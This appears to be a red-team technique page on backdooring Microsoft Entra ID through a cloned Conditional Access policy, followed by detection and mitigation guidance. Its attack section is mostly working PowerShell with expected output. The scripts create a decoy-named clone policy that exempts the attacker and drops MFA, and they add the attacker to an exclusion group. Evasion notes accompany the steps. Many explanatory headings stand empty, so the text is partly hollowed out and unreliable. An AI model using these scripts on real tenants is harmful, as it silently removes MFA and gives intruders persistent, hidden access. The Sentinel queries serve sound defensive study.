| Attribute | Details |
|---|---|
| Technique ID | REALWORLD-040 |
| MITRE ATT&CK v18.1 | T1556 - Modify Authentication Process |
| Tactic | Defense Evasion / Persistence |
| Platforms | Entra ID |
| Severity | CRITICAL |
| CVE | N/A |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-10 |
| Affected Versions | All versions of Entra ID |
| Patched In | N/A - Requires policy-level controls |
| Author | SERVTEP – Artur Pchelnikau |
Concept: This real-world technique involves cloning (copying) an existing Conditional Access policy and then modifying the clone to create a backdoor authentication rule that allows unrestricted access while appearing legitimate. An attacker with Global Administrator or Conditional Access Administrator permissions can duplicate a strict CA policy (e.g., one that requires MFA), create a nearly-identical clone with subtle modifications (e.g., excluding their own account from the MFA requirement), and enable the clone alongside the original. This allows the attacker to bypass security controls while leaving the original policies intact, making the attack less obvious.
Attack Surface: Entra ID Conditional Access Policy API, Azure Portal Conditional Access interface, Azure PowerShell conditional access cmdlets.
Business Impact: Persistent unauthorized access to cloud resources and applications without triggering MFA or other security controls. Attackers can access sensitive applications (Exchange, SharePoint, Teams, Dynamics 365, Azure Portal) while the organization believes they are protected by MFA and device compliance policies. This directly undermines the zero-trust architecture.
Technical Context: Policy cloning and modification takes 5-10 minutes to execute. Detection likelihood is MEDIUM if organizations audit CA policy changes, but LOW if they do not have dedicated monitoring for policy drift or anomalous policy additions. Real-world APT groups (Scattered Spider) have used this technique extensively.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | CIS Azure 2.1.1 | Ensure that Conditional Access policies are reviewed regularly. |
| DISA STIG | AC-3(7) | Access enforcement must prevent circumvention. |
| CISA SCuBA | AC-2(1) | Account and access management policies must be properly configured. |
| NIST 800-53 | AC-3 | Access Control Enforcement |
| GDPR | Art. 32 | Security of Processing - MFA is a required control. |
| DORA | Art. 6 | Governance and Management - Security controls must be reliable. |
| NIS2 | Art. 21 | Cyber risk management - Access controls must not be circumvented. |
| ISO 27001 | A.9.2.4 | Access control must enforce organizational policy. |
| ISO 27005 | Risk Scenario: “Policy Circumvention” | Unauthorized bypassing of security controls. |
microsoft.directory/conditionalAccessPolicies/create and microsoft.directory/conditionalAccessPolicies/update permissionsSupported Versions:
Tools:
Supported Versions: All Entra ID versions
Objective: Find a strict CA policy that you want to bypass.
Manual Steps (Azure Portal GUI):
Policies to Target (High-Value for Cloning):
Expected Output:
What This Means:
Objective: Create a new policy with nearly-identical settings to the target, but with a backdoor built in.
Manual Steps (Azure Portal GUI - No Direct Clone Option):
Since Azure Portal doesn’t have a direct “Clone” button, you must manually recreate the policy:
Expected Output:
Policy "Security Update - CA Policy Revision" has been created successfully.
What This Means:
Alternative Approach: Modify Inclusion/Exclusion Groups
Instead of creating a new policy, add yourself to a policy’s exclusion group:
This is LESS obvious than creating a new policy, but requires you to already be in a position to modify the policy.
OpSec & Evasion:
Troubleshooting:
Supported Versions: All Entra ID versions
Command:
# Connect to Microsoft Graph
Connect-MgGraph -Scopes "Policy.ReadWrite.ConditionalAccess"
# Verify authentication
Get-MgContext
Expected Output:
ClientId : 14d82eec-204b-4c2f-b852-06b94cea9e44
TenantId : xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
Scopes : {Policy.ReadWrite.ConditionalAccess, ...}
What This Means:
Command:
# List all conditional access policies
$policies = Get-MgConditionalAccessPolicy -All
# Find the strict policy you want to clone
$targetPolicy = $policies | Where-Object {$_.DisplayName -eq "Require MFA for all users"}
# Export full configuration
$targetPolicy | ConvertTo-Json -Depth 10 | Out-File "C:\temp\ca_policy_original.json"
# Display key settings
$targetPolicy | Select-Object DisplayName, State, Conditions, GrantControls
Expected Output:
DisplayName : Require MFA for all users
State : enabled
Conditions : @{Applications=...; Users=...; ClientApplicationTypes=...}
GrantControls : @{Operator=AND; BuiltInControls=mfa}
What This Means:
Command:
# Read the original policy
$originalJson = Get-Content "C:\temp\ca_policy_original.json" | ConvertFrom-Json
# Prepare modified policy
$newPolicyParams = @{
DisplayName = "System Managed - Enhanced Security Policy" # Generic name
State = "enabled"
Conditions = @{
Applications = $originalJson.Conditions.Applications
Users = @{
IncludeUsers = @("All") # Include all users like original
ExcludeUsers = @("attacker@company.com") # BACKDOOR: Exclude attacker
ExcludeGroups = @()
ExcludeRoles = @()
}
# Copy other conditions from original
ClientAppTypes = $originalJson.Conditions.ClientAppTypes
Locations = $originalJson.Conditions.Locations
}
# BACKDOOR: Remove MFA requirement or weaken grant controls
GrantControls = @{
Operator = "OR" # Changed from AND to OR
BuiltInControls = @() # Remove MFA requirement
CustomAuthenticationFactors = @()
TermsOfUse = @()
}
}
# Create the new policy
$newPolicy = New-MgConditionalAccessPolicy -BodyParameter $newPolicyParams
Write-Output "Created backdoor policy: $($newPolicy.Id)"
Write-Output "Display Name: $($newPolicy.DisplayName)"
Expected Output:
Created backdoor policy: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
Display Name: System Managed - Enhanced Security Policy
What This Means:
OpSec & Evasion:
New-MgConditionalAccessPolicy call creates an AuditLog entry (“Create conditional access policy”)Troubleshooting:
Command:
# Get the newly created policy
$backdoorPolicy = Get-MgConditionalAccessPolicy -ConditionalAccessPolicyId "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"
# Verify settings
Write-Output "Policy Name: $($backdoorPolicy.DisplayName)"
Write-Output "Enabled: $($backdoorPolicy.State)"
Write-Output "Excluded Users: $($backdoorPolicy.Conditions.Users.ExcludeUsers)"
Write-Output "Grant Controls: $($backdoorPolicy.GrantControls.BuiltInControls)"
# Test: Attempt sign-in with excluded account (should bypass MFA)
# This will appear normal because the sign-in is successful without MFA prompt
Expected Output:
Policy Name: System Managed - Enhanced Security Policy
Enabled: enabled
Excluded Users: {attacker@company.com}
Grant Controls: {}
What This Means:
Supported Versions: All Entra ID versions
Objective: Instead of creating a new policy, add yourself to an exclusion group in an existing strict policy.
Command (PowerShell):
# Get all CA policies
$policies = Get-MgConditionalAccessPolicy -All
# Find policies with exclusion groups
foreach ($policy in $policies) {
$excludedGroups = $policy.Conditions.Users.ExcludeGroups
if ($excludedGroups) {
Write-Output "Policy: $($policy.DisplayName)"
Write-Output "Excluded Groups: $($excludedGroups -join ', ')"
}
}
Expected Output:
Policy: Require MFA for all users
Excluded Groups: CA-Exempted-Users, Service-Accounts
What This Means:
Command (PowerShell):
# Connect to MS Graph for Group management
Connect-MgGraph -Scopes "Group.ReadWrite.All"
# Find the exclusion group
$excludedGroup = Get-MgGroup -Filter "displayName eq 'CA-Exempted-Users'"
# Get your user object
$attackerUser = Get-MgUser -Filter "userPrincipalName eq 'attacker@company.com'"
# Add yourself to the exclusion group
New-MgGroupMember -GroupId $excludedGroup.Id -DirectoryObjectId $attackerUser.Id
Write-Output "Added attacker to exclusion group"
Expected Output:
Added attacker to exclusion group
What This Means:
OpSec & Evasion:
Manual Steps (Sentinel Detection Rule):
Alert on New Conditional Access Policy CreationAuditLogs
| where OperationName == "Create conditional access policy"
| where Result == "success"
| project TimeGenerated, InitiatedBy, OperationName, TargetResources
Why This Helps:
Manual Steps:
AuditLogs
| where OperationName == "Update conditional access policy"
| where Result == "success"
| mv-expand TargetResources
| extend Changes = TargetResources.modifiedProperties
| where Changes contains "exclude" or Changes contains "grant" or Changes contains "condition"
| project TimeGenerated, InitiatedBy, OperationName, TargetResources
Why This Helps:
Manual Steps (Azure Portal):
Why This Helps:
Manual Steps:
Why This Helps:
Manual Steps:
$policies = Get-MgConditionalAccessPolicy -All
$policies | ConvertTo-Json -Depth 10 | Out-File "C:\Backups\CA_Policies_$(Get-Date -Format yyyy-MM-dd).json"
Why This Helps:
Manual Steps:
Why This Helps:
Manual Steps (Entra ID Protected Actions):
Why This Helps:
Manual Steps (Sentinel):
AuditLogs
| where OperationName in ("Add member to group", "Remove member from group")
| where TargetResources[0].displayName contains "CA-" or TargetResources[0].displayName contains "Exemp"
| project TimeGenerated, OperationName, InitiatedBy, TargetResources
Why This Helps:
# List all CA policies and check for suspicious ones
Get-MgConditionalAccessPolicy -All | Select-Object DisplayName, State, Conditions, GrantControls | ConvertTo-Json
# Verify RBAC is restricted
Get-MgDirectoryRoleMember -DirectoryRoleId (Get-MgDirectoryRole -Filter "displayName eq 'Conditional Access Administrator'").Id | Select-Object DisplayName
Expected Output (If Secure):
Only 2-3 known security team members should have "Conditional Access Administrator" role
All policies should have well-documented names
GrantControls should show expected security controls (MFA, device compliance, etc.)
AuditLogs operation: “Create conditional access policy” by non-SOC userAuditLogs operation: “Update conditional access policy” with large scope of changesAuditLogs operation: “Add member to group” where group name contains “CA” or “Exemp”Remove-MgConditionalAccessPolicy -ConditionalAccessPolicyId "suspicious-policy-id"
Revoke-MgUserSignInSession -UserId "attacker@company.com"
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | T1566.002 Phishing | Attacker gains initial credentials via phishing |
| 2 | Privilege Escalation | T1078.004 Abuse Valid Accounts | Attacker escalates to Global Admin via PIM or MFA bypass |
| 3 | Persistence & Evasion | [REALWORLD-040] CA Policy Cloning | Attacker creates backdoor CA policy to bypass MFA |
| 4 | Lateral Movement | T1550.001 Use Alternate Authentication | Attacker uses token without MFA to access apps |
| 5 | Exfiltration | T1113 Screen Capture | Attacker accesses confidential data in Teams, SharePoint, Exchange |
| 6 | Defense Evasion | [REALWORLD-037] / [REALWORLD-038] | Attacker disables detection rules and deletes audit logs |
This technique represents a critical failure in:
Organizations with undetected CA policy backdoors should be documented as “Critical” audit findings and require immediate remediation.